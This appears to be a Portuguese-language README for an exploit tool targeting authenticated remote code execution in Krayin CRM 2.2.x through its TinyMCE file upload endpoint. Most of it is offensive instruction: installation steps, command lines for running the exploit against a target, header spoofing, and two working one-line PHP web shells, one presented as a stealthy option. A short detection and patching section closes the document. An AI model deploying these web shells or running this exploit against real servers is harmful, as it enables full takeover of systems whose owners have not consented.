🔓 Krayin CRM v2.2.x - Exploração de Execução Remota de Código Autenticada

⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS - O uso não autorizado é ilegal e antiético.

📋 Visão Geral

Esta ferramenta de exploração demonstra uma vulnerabilidade crítica de execução remota de código (RCE) autenticada descoberta no Krayin CRM versão 2.2.x. A vulnerabilidade existe na funcionalidade de upload de arquivos do TinyMCE, que permite que administradores autenticados enviem e executem código PHP arbitrário no servidor.

Propriedade	Valor
ID CVE	CVE-2026-38526
Software Afetado	Krayin CRM v2.2.x
Tipo de Vulnerabilidade	Execução Remota de Código Autenticada (RCE)
Autenticação Necessária	Sim (acesso nível Admin)
Impacto	Comprometimento completo do sistema
Pontuação CVSS	8.8 (Alto)

🚨 Detalhes da Vulnerabilidade

A vulnerabilidade decorre de validação insuficiente do tipo de arquivo no endpoint de upload do TinyMCE (/admin/tinymce/upload). Um administrador autenticado pode:

Enviar um arquivo PHP disfarçado com um tipo MIME de imagem.
O arquivo é armazenado em um local acessível pela web.
O atacante pode então executar código PHP arbitrário no servidor.

Versões Afetadas

Krayin CRM 2.2.0
Krayin CRM 2.2.1
Krayin CRM 2.2.2
Todas as versões 2.2.x antes do lançamento do patch

✨ Recursos

Múltiplos Tipos de Shell: Básico, Avançado, Mínimo, Gerenciador de Arquivos e Personalizado.
Shell Interativo: Interface completa semelhante a terminal com histórico de comandos.
Upload de Arquivos: Enviar arquivos adicionais através do shell.
Extração de Token CSRF: Tratamento automático da proteção CSRF.
Suporte a Proxy: Roteamento de tráfego através de proxies HTTP/HTTPS.
Formatos de Saída Flexíveis: Texto, JSON ou modo Silencioso.
Lógica de Repetição: Repetição automática em caso de falhas de conexão.
Cabeçalhos Personalizados: Suporte para cabeçalhos HTTP personalizados.
Modo Detalhado: Saída de depuração detalhada.
Suporte SSL: Verificação opcional de certificado SSL.

📦 Instalação

Requisitos

bash
Python 3.7+
pip install httpx beautifulsoup4 colorama

Instalação Rápida

git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

Arquivo de Requisitos (`requirements.txt`)

httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 Uso

Sintaxe Básica do Comando

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <SENHA> [OPÇÕES]

Parâmetros Obrigatórios

Parâmetro	Descrição
`-t`, `--target`	URL do alvo (ex.: `http://192.168.1.100`)
`-u`, `--username`	Nome de usuário ou e-mail do admin
`-p`, `--password`	Senha do administrador

Exemplos Comuns de Uso

# Exploração básica com shell gerado
python3 exploit.py -t http://target.com -u [email protected] -p password

# Enviar arquivo PHP personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Gerar shell avançado com modo interativo
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Gerar arquivo shell sem exploração
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Usar com proxy para teste/depuração
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# Saída JSON para automação
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Modo detalhado com timeout personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# User-Agent e cabeçalhos personalizados
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Tipos de Shell

Shell Básico (basic) Execução simples de comando com a função system().
```
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
```
Shell Avançado (advanced) Shell rico em recursos com:
- Múltiplos métodos de execução de comandos
- Interface web bonita semelhante a terminal
- Suporte a histórico de comandos
- Exibição do usuário atual e nome do host
Shell Mínimo (minimal) Pegada mínima para furtividade.
```
<?php system($_GET["cmd"]); ?>
```
Gerenciador de Arquivos (file_manager) Interface completa de gerenciamento de arquivos:
- Upload de arquivos
- Exclusão de arquivos
- Criação de diretórios
- Navegação
- Visualizador de permissões de arquivos
Shell Personalizado (custom) Use seu próprio arquivo PHP shell com o parâmetro -f.

📝 Formatos de Saída

Formato Texto (Padrão)

Saída colorida legível por humanos, adequada para uso interativo.

Formato JSON (`-o json`)

Formato legível por máquina para automação e integração.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Formato Silencioso (`-q`, `--quiet`)

Nenhuma saída, exceto erros. Útil para processamento em lote.

⚙️ Opções Avançadas

Opção	Descrição	Padrão
`--timeout`	Tempo limite da requisição em segundos	30
`--retry`	Número de tentativas de repetição	3
`--retry-delay`	Atraso entre tentativas em segundos	2
`--user-agent`	String User-Agent personalizada	UA do navegador padrão
`--header`	Cabeçalhos HTTP personalizados (Chave: Valor)	Nenhum
`--verify-ssl`	Verificar certificados SSL	False
`--proxy`	URL do proxy HTTP/HTTPS	Nenhum
`-v`, `--verbose`	Habilitar saída de depuração	False
`-q`, `--quiet`	Suprimir toda a saída	False

Exemplo de Cabeçalhos Personalizados

--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 Detecção e Prevenção

Sinais de Comprometimento (IoC)

Arquivos a Monitorar:
- Arquivos PHP incomuns em public/storage/upload/
- Arquivos com extensões duplas (ex.: image.php.jpg)
- Novos arquivos com nomes suspeitos
Logs a Verificar:
- Requisições POST para /admin/tinymce/upload
- Horários incomuns de login de administrador
- Tentativas de autenticação com falha
Indicadores do Sistema:
- Processos inesperados em execução
- Novos cron jobs
- Arquivos do sistema modificados

Medidas de Prevenção

Ações Imediatas:

# Atualizar para versão corrigida
composer update krayin/crm

KrayinCRM-RCE-Exploit-CVE-2026-38526

Mais Populares